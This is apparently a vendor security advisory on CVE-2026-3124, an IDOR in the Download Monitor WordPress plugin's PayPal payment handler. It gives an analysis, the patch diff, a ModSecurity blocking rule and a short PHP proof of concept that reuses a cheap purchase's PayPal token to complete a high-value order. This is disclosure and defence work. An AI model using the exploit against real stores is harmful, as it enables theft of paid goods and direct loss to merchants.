Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 29, 2026

CVE-2026-3124: Download Monitor <= 5.1.7 – Insecure Direct Object Reference to Unauthenticated Arbitrary Order Completion via 'token' and 'order_id' (download-monitor)

CVE ID CVE-2026-3124
Severity High (CVSS 7.5)
CWE 639
Vulnerable Version 5.1.7
Patched Version 5.1.8
Disclosed March 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3124:
The Download Monitor WordPress plugin version 5.1.7 and earlier contains an Insecure Direct Object Reference vulnerability in its PayPal payment execution handler. This flaw allows unauthenticated attackers to complete arbitrary pending orders by exploiting a mismatch between a PayPal transaction token and a local order ID. Attackers can purchase a low-cost item and reuse its payment token to finalize a high-value order, effectively stealing paid digital goods.

Atomic Edge research identifies the root cause in the executePayment() function within the ExecutePaymentListener class (download-monitor/src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php). The vulnerable code retrieves an order using only the order_id and order_hash parameters from user input (lines 36-37). It then attempts to capture payment using a separate token parameter (lines 62-64) without verifying that the token belongs to the retrieved order. The function proceeds to update the order status to ‘completed’ if the PayPal capture succeeds, regardless of whether the token matches any transaction associated with that order.

Exploitation requires an attacker to obtain a valid PayPal transaction token from a low-value purchase. The attacker then crafts an HTTP GET request to the plugin’s payment execution endpoint with three parameters: order_id (the target high-value order), order_hash (the hash of that order), and token (the low-value purchase token). The endpoint is typically accessed via a WordPress action hook or callback URL configured during checkout. The attack succeeds because the plugin validates the order_hash against the order but does not validate that the token corresponds to any transaction within that specific order.

The patch in version 5.1.8 introduces multiple validation layers. First, it adds hash_equals() comparison to verify the order_hash matches the retrieved order (line 56). Second, it implements token validation by checking if the supplied token matches any processor_transaction_id in the order’s transactions using hash_equals() (lines 73-82). Third, it adds a transaction_updated flag to ensure a matching transaction was actually updated before completing the order (lines 125-131). The CaptureOrder class also gains a has_response() method and returns null on capture failures, preventing order completion on PayPal API errors.

Successful exploitation allows unauthenticated attackers to complete arbitrary pending orders without paying the full price. Attackers can obtain expensive digital goods by paying only for a cheap item, resulting in direct financial loss for merchants. The vulnerability enables theft of paid content, circumvents payment verification, and undermines the integrity of the entire e-commerce system within the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/download-monitor/download-monitor.php
+++ b/download-monitor/download-monitor.php
@@ -3,7 +3,7 @@
 	Plugin Name: Download Monitor
 	Plugin URI: https://www.download-monitor.com
 	Description: A full solution for managing and selling downloadable files, monitoring downloads and outputting download links and file information on your WordPress powered site.
-	Version: 5.1.7
+	Version: 5.1.8
 	Author: WPChill
 	Author URI: https://wpchill.com
 	Requires at least: 6.4
@@ -34,7 +34,7 @@
 } // Exit if accessed directly

 // Define DLM Version
-define('DLM_VERSION', '5.1.7');
+define('DLM_VERSION', '5.1.8');
 define('DLM_UPGRADER_VERSION', '4.6.0');

 // Define DLM FILE
--- a/download-monitor/src/Dependencies/Pimple/Container.php
+++ b/download-monitor/src/Dependencies/Pimple/Container.php
@@ -196,7 +196,7 @@
             throw new ExpectedInvokableException('Callable is not a Closure or invokable object.');
         }

-        $this->protected->attach($callable);
+        $this->protected->offsetSet($callable);

         return $callable;
     }
@@ -268,8 +268,8 @@
         };

         if (isset($this->factories[$factory])) {
-            $this->factories->detach($factory);
-            $this->factories->attach($extended);
+            $this->factories->offsetUnset($factory);
+            $this->factories->offsetSet($extended);
         }

         return $this[$id] = $extended;
--- a/download-monitor/src/Dependencies/Pimple/Tests/PimpleTest.php
+++ b/download-monitor/src/Dependencies/Pimple/Tests/PimpleTest.php
@@ -29,6 +29,7 @@
 use PHPUnitFrameworkAttributesDataProvider;
 use PHPUnitFrameworkTestCase;
 use WPChillDownloadMonitorDependenciesPimpleContainer;
+use WPChillDownloadMonitorDependenciesPimpleServiceProviderInterface;

 /**
  * @author Igor Wiedler <igor@wiedler.ch>
@@ -204,7 +205,14 @@
     public function testFluentRegister()
     {
         $pimple = new Container();
-        $this->assertSame($pimple, $pimple->register($this->getMockBuilder('WPChillDownloadMonitorDependenciesPimpleServiceProviderInterface')->getMock()));
+
+        $stub = new class implements ServiceProviderInterface {
+            public function register(Container $pimple)
+            {
+            }
+        };
+
+        $this->assertSame($pimple, $pimple->register($stub));
     }

     public function testRawValidatesKeyIsPresent()
@@ -275,13 +283,13 @@
         unset($pimple['foo']);

         $p = new ReflectionProperty($pimple, 'values');
-        if (PHP_VERSION < 80100) {
+        if (PHP_VERSION_ID < 80100) {
             $p->setAccessible(true);
         }
         $this->assertEmpty($p->getValue($pimple));

         $p = new ReflectionProperty($pimple, 'factories');
-        if (PHP_VERSION < 80100) {
+        if (PHP_VERSION_ID < 80100) {
             $p->setAccessible(true);
         }
         $this->assertCount(0, $p->getValue($pimple));
@@ -425,6 +433,7 @@
     /**
      * @group legacy
      * @expectedDeprecation How WPChillDownloadMonitorDependenciesPimple behaves when extending protected closures will be fixed in WPChillDownloadMonitorDependenciesPimple 4. Are you sure "foo" should be protected?
+     * @dataProvider badServiceDefinitionProvider
      */
     #[DataProvider('badServiceDefinitionProvider')]
     public function testExtendingProtectedClosureDeprecation($service)
--- a/download-monitor/src/Shop/Checkout/PaymentGateway/PayPal/CaptureOrder.php
+++ b/download-monitor/src/Shop/Checkout/PaymentGateway/PayPal/CaptureOrder.php
@@ -26,6 +26,15 @@
 		$this->response = $response;
 	}

+	/**
+	 * Whether a response was set (e.g. capture succeeded).
+	 *
+	 * @return bool
+	 */
+	public function has_response() {
+		return isset( $this->response->result );
+	}
+
 	public function getStatus() {
 		return $this->response->result->status;
 	}
@@ -50,7 +59,7 @@
     public function captureOrder() {
 		try {

-			$request = new OrdersCaptureRequest( $this->order_id );
+			$request  = new OrdersCaptureRequest( $this->order_id );
 			$request->body = self::buildRequestBody();
 			$response = $this->client->execute( $request );

@@ -59,8 +68,8 @@

 		} catch ( PayPalHttpHttpException $ex ) {

-			//print_r($ex->getMessage());
-
+			// Capture failed (e.g. invalid token, already captured, network error).
+			return null;
 		}
     }

--- a/download-monitor/src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php
+++ b/download-monitor/src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php
@@ -38,6 +38,7 @@

 		if ( empty( $order_id ) || empty( $order_hash ) ) {
 			$this->execute_failed( $order_id, $order_hash );
+			return;
 		}

 		/** @var WPChillDownloadMonitorShopOrderRepository $order_repo */
@@ -53,16 +54,41 @@
 			return;
 		}

+		// Verify order_hash against the retrieved order (timing-safe) to prevent IDOR.
+		if ( ! hash_equals( (string) $order->get_hash(), (string) $order_hash ) ) {
+			$this->execute_failed( $order_id, $order_hash );
+			return;
+		}
+
 		/**
-		 * Get payment identifier
+		 * Get payment identifier (PayPal order ID / token)
 		 */
 		$token = '';
 		if ( isset( $_GET['token'] ) ) {
 			$token = sanitize_text_field( wp_unslash( $_GET['token'] ) );
 		}

+		if ( empty( $token ) ) {
+			$this->execute_failed( $order_id, $order_hash );
+			return;
+		}
+
+		// Bind token to this order: token must match one of this order's transactions (PayPal order ID).
+		$transactions = $order->get_transactions();
+		$token_belongs_to_order = false;
+		foreach ( $transactions as $transaction ) {
+			if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
+				$token_belongs_to_order = true;
+				break;
+			}
+		}
+		if ( ! $token_belongs_to_order ) {
+			$this->execute_failed( $order_id, $order_hash );
+			return;
+		}
+
 		/**
-		 * Execute the payement
+		 * Execute the payment
 		 */
 		try {

@@ -70,7 +96,15 @@
 			$capture->set_client( $this->gateway->get_api_context() )
 					->set_order_id( $token );

-			$response = $capture->captureOrder();
+			$capture_result = $capture->captureOrder();
+
+			// Handle capture failures safely (e.g. network error, invalid token).
+			if ( null === $capture_result || ! $capture_result->has_response() ) {
+				$this->execute_failed( $order->get_id(), $order->get_hash() );
+				return;
+			}
+
+			$response = $capture_result;

 			// if payment is not approved, exit;
 			if ( $response->getStatus() !== "COMPLETED" ) {
@@ -80,11 +114,11 @@
 			/**
 			 * Update transaction in local database
 			 */
-
-			// update the order status to 'completed'
-			$transactions = $order->get_transactions();
+			// Update the transaction that belongs to this token (already validated above).
+			$transaction_updated = false;
+			$transactions         = $order->get_transactions();
 			foreach ( $transactions as $transaction ) {
-				if ( $transaction->get_processor_transaction_id() == $response->getId() ) {
+				if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
 					$transaction->set_status( Services::get()->service( 'order_transaction_factory' )->make_status( 'success' ) );
 					$transaction->set_processor_status( $response->getStatus() );

@@ -95,9 +129,15 @@
 					}

 					$order->set_transactions( $transactions );
+					$transaction_updated = true;
 					break;
 				}
+			}

+			// Only complete the order if we actually updated a matching transaction (prevents token/amount mismatch).
+			if ( ! $transaction_updated ) {
+				$this->execute_failed( $order->get_id(), $order->get_hash() );
+				return;
 			}

 			// set order as completed, this also persists the order
--- a/download-monitor/vendor/composer/installed.php
+++ b/download-monitor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'wpchill/download-monitor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '78419fc33f1ec56ec0435c82c42a820686882568',
+        'reference' => '589dba41f5f9f23158b08854cdc37d1ab7884249',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'wpchill/download-monitor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '78419fc33f1ec56ec0435c82c42a820686882568',
+            'reference' => '589dba41f5f9f23158b08854cdc37d1ab7884249',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3124
# Blocks unauthenticated attempts to execute PayPal payments with mismatched tokens
SecRule REQUEST_URI "@rx /?.*dlm_paypal_execute=1" 
  "id:10003124,phase:2,deny,status:403,chain,msg:'CVE-2026-3124: Download Monitor PayPal IDOR Attempt',severity:'CRITICAL',tag:'CVE-2026-3124',tag:'WordPress',tag:'Download-Monitor'"
  SecRule &ARGS_GET:order_id "@gt 0" "chain"
    SecRule &ARGS_GET:order_hash "@gt 0" "chain"
      SecRule &ARGS_GET:token "@gt 0" "chain"
        SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "!@rx ." 
          "t:none,setvar:'tx.cve_2026_3124_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3124 - Download Monitor <= 5.1.7 - Insecure Direct Object Reference to Unauthenticated Arbitrary Order Completion via 'token' and 'order_id'
<?php

$target_url = 'https://vulnerable-site.com/'; // CHANGE THIS

// Step 1: Attacker purchases a cheap item (e.g., $1 download) via PayPal
// This provides a valid PayPal transaction token (captured from redirect URL or network traffic)
$cheap_token = 'PAYPAL-TOKEN-FROM-CHEAP-PURCHASE'; // Replace with actual token

// Step 2: Attacker identifies a high-value pending order ID (e.g., via information disclosure or guessing)
$target_order_id = 123; // High-value order ID to compromise
$target_order_hash = 'ORDER-HASH-OF-TARGET-ORDER'; // Order hash (may be predictable or obtained)

// Step 3: Craft exploit request to payment execution endpoint
// The endpoint is typically the PayPal return URL handler in Download Monitor
$exploit_url = $target_url . '?dlm_paypal_execute=1&order_id=' . urlencode($target_order_id) . '&order_hash=' . urlencode($target_order_hash) . '&token=' . urlencode($cheap_token);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 4: Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "Exploit likely succeeded. Check if order $target_order_id was completed.n";
    echo "Response preview: " . substr($response, 0, 500) . "n";
} else {
    echo "HTTP $http_code received. Exploit may have failed.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School